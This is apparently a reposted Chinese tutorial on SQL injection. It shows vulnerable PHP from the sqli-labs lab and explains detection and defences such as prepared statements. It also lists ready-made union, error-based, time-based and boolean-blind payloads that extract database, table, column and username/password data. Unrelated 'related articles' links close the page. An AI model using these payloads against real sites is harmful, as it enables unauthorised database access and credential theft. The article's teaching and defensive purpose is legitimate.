SQL注入漏洞详解

SQL注入漏洞详解简介SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,…简介S

简介

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,…

简介

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

漏洞原理实例

用户提交数据后,后端服务器将用户提交的数据带入sql语句对数据库进行操作,如果没有进行过滤,那么用户提交构造好的特殊语句,就可以对数据库进行非法的操作,即引发sql注入,例如以下代码(sqli-labs-1)

//GET方式获取name为id的值赋值给$id变量;
$id=$_GET['id'];
?
//定义$sql变量,值为下一步要执行的sql语句,将$id变量带入sql语句中;
$sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1";
?
//将上一步定义的$sql变量的值作为sql语句带入数据库查询,并将结果赋值给$result变量,mysql_query为php提供的数据库查询函数;
$result=mysql_query($sql);
?
//从上一步查询的结果集中去的一行作为数组返回并赋值给$row变量;
$row=mysql_fetch_array($result);
?
//如果$row值不为空,即数据库查询数据正常,则打印出username和password的值;
if($row)
{
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color="#FFFF00">';
print_r(mysql_error());
echo "</font>"; ?
}
}

数据库中有数据如下

那么用户提交?id=-1,则代入数据库正常查询且正常输出

但如果用户提交的数据为

?id=-1' union select 1,2,database() --+

那么则会返回我们构造的语句对数据库进行的查询操作返回的值

我们将两个提交的数据都带入我们后端的执行中对比,如下

原始语句:SELECT * FROM user WHERE id='$id' LIMIT 0,1
正常带入数据:SELECT * FROM user WHERE id='1' LIMIT 0,1
非法带入数据:SELECT * FROM user WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1
?
--(注:在执行sql语句时,“--”是sql语句中的注释符,但是使用时--后要有一个空格才能起到注释作用,否则会报错,这里的+号经过处理后会变成空格,用来和后面的单引号分隔开,才能将后面的语句注释。)

可以看到,如果没有经过过滤就将用户提交的非法数据带入后端执行的话,真正执行的语句是,而后面被注释的部分不执行,那么就不会引发错误,在查询id字段值为-1没有结果后,就会执行union查询,查询出数据库名并输出,这就是最典型的sql注入。

漏洞分类

就不按照数字型字符型这些来分类了,我认为按照利用方式来分类更容易理解

有回显

Union query #联合查询注入,通过union联合查询获取查询结果
?Error based #报错注入,通过报错信息获取查询结果

无回显

Boolean based blind #布尔盲注,通过应用返回不同的值判断条件真假
Time based blind #时间盲注,通过不同的时间延迟推断条件真假

漏洞检测

手工检测

提交的参数与数据库交互,参数添加“ ‘ ”(英文单引号),出现异常(sql语法错误),即存在sql注入,如果无回显,可以通过延时或者布尔盲注来检测是否存在漏洞。

注:异常报错的原因是因为后台将参数中的单引号带入sql语句进行数据库操作,多了一个单引号引发sql语法错误,所以报错即整明了我们的单引号进入了sql语句执行中。

工具检测

使用sqlmap进行检测,这里是下载地址和使用说明点击跳转

漏洞利用

手工注入

有回显型构造语句查询数据,无回显型进行盲注,不过比较费时间。

这里就以mysql的数据库,sqli-labs的less-1为例,列出一些常用的语句,如果要详细展开细讲的话,篇幅肯定会特别特别长,一篇文章恐怕各位看官们也看不下去,各位需要用到更多的语句时自行百度即可,如果需要的话后面可以分开出详细的各中注入方式的详解文章。

UNION联合查询注入
爆列数:?id=-1' order by n--+(“n”到几不报错则有n-1列)
爆库名:?id=-1' union select 1,2,database() --+
爆表明:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆数据:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
?
注:使用中根据实际需要修改字段数(列数)以及库名表名等,union查询的字段数需要和表中的字段数相同才可以
报错注入
爆库名:?id=-1’ union select count(*),count(*),concat(‘~’,(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名:?id=-1' union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆列名:?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆数据:?id=-1' union select count(*),1, concat('~',(select concat_ws(':',username,password) from users limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
时间盲注
爆库长:?id=1' and if(length(database())=8,sleep(5),NULL)--+
爆库名:?id=1' and if(left(database(),1)='s',sleep(5),NULL)--+
爆表名:?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),NULL)--+
爆列明:?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username',sleep(5),NULL)--+
爆数据:?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+
?
布尔盲注
爆库名:?id=1' and left((select database()),1)='s'--+
爆表名:?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),5)='users'--+
爆列明:?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+
爆数据:?id=1' and left((select username from users order by id limit 0,1),4)='dumb'--+

无回显的还有一种利用方式是利用DNSlog外带查询的内容,这里有一位师傅讲的已经很详细了,点击查看原文

以上为GET型注入,POST型类似,修改参数值即可。

工具注入

依旧是sqlmap一把梭,实战中根据实际需求使用tamper进行绕过一些过滤。

常见场景

用户可控的参数与数据库有交互的地方,常见与查询,登录等;

在测试中可以爬取网站的一些api查询接口,也会存在sql注入。

漏洞防御

WAF(web应用防火墙)

为网站添加waf,虽然不能修复sql注入漏洞,但是可以拦截敏感数据以防止sql注入被黑客利用

Filter过滤

在服务器端添加过滤代码以过滤可能引发sql注入的敏感字符

sql预编译

示例:

prepare baizesec from 'select username,password from users where id=?'; 定义预编译语句
set @a=1; 传参数
execute baizesec using @a; 调用

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/7280.html

(0)

相关推荐

  • 长吟的意思(字义,诗词)

    词组长吟的意思(字义,诗词)基本解释详细字义 长吟拼音:cháng yín注音:ㄔㄤˊㄓㄤˇ 一ㄣˊ解释:1.犹长鸣。 2.哀愁怨慕时发出长而缓的声音。 3.吟咏﹐吟诵。精选例句1、除非灵魂击掌长吟愈越高声歌咏褴

    阅读 2021年11月20日
  • 姐送给弟的结婚祝福语简单,亲弟结婚姐姐祝福语

    姐姐结婚弟弟的祝福语简短 姐姐结婚弟弟祝福语(17句)1、相

    阅读 2022年2月20日
  • 安慕希为什么比纯甄贵,蒙牛纯甄和安慕希哪个好

    安慕希为什么比纯甄贵,蒙牛纯甄和安慕希哪个好在女孩子们的日常生活中,除了有戒不掉的各种休闲小吃,还有各种超级好喝的饮料,而且如果碰到一个非常适合自己口味的酸奶,就算喝一辈子也不会觉得腻,唐妞就给大家介绍4种喝完就让人上瘾

    攻略 2021年11月26日
  • 金点子创业项目有哪些

    金点子创业项目金点子创业项目有哪些创业是很多人心里的梦想之一,有时候创业可以改变一个人的命运。不过在如今的社会发展状况下,项目多种多样,有哪些算是金点子创业项目呢?我们不妨看看下文中,小编推荐的项目吧,总有适合你的项目!

    生活 2021年12月8日
  • 畅惬的意思(字义,诗词)

    词组畅惬的意思(字义,诗词)基本解释详细字义 畅惬拼音:chàng qiè注音:ㄔㄤˋ ㄑ一ㄝˋ解释:快意。基本字义
    畅(暢)chàng(ㄔㄤˋ)
    1、没有阻碍地:畅通。畅达。畅销。流畅。通畅。
    2、痛快,尽情地

    阅读 2021年11月7日
  • Omega Strikers匹配时间太久怎么办?快速匹配方法介绍

    欧米茄前锋是一个免费的3v3消除目标游戏。选择你的角色,使用你的冲击技能将你的对手击出场外,并在千变万化的混战中得分。很多朋友在游戏里经常会匹配很久。下面小编就来介绍一下欧米茄前锋…

    教程 2022年9月19日